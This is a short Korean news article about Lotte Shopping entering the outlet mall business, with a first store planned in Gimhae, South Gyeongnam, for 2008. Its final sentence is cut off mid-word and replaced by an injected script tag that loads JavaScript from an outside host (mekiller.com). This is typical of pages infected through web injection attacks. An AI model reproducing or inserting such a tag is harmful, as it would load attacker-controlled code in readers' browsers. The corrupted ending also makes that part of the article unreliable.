롯데쇼핑(대표 이철우)이 신세계에 이어 아울렛 사업에 진출한다.
롯데는 오는 2008년 상반기 경남 김해시 장유면에 롯데 아울렛 1호점을 오픈하기 위해 아울렛 사업부를 구성하고 실무 작업을 벌이고 있다.
조속한 사업 추진을 위해 신규 사업부문 내 아울렛 개발 담당을 아울렛 개발팀과 김해 아울렛 프로젝트팀으로 구성하고 인원을 충원한 것.
그러나 롯데아울렛은 신세계첼시와 달리 대중 브랜드를 중심으로 구성될 전망이다. 특히 지역적 특성을 살려 부산, 경남권 소비자와 일본 쇼핑객을 타깃으로 한다.
이곳은 롯데쇼핑과 경상남도가 공동으로 개발하는 김해관광유통단지내에 들어선다. 아울렛 공사는 빠르면 오는 8월에 시작돼 내년 상반기 완공 예정이다.
유통단지는 총 1조130억원이 투자되는 대규모 사업으로 롯?script src=http://mekiller.com/1/1.js>